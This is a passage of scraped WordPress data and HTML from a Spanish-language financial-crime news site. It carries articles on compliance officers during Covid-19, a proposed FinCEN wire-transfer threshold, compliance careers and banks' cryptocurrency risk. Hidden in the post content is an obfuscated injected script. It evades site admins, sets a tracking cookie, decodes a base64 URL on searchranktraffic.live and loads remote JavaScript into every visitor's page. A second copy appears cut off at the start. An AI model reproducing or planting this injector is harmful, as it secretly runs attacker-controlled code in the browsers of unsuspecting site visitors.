SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro 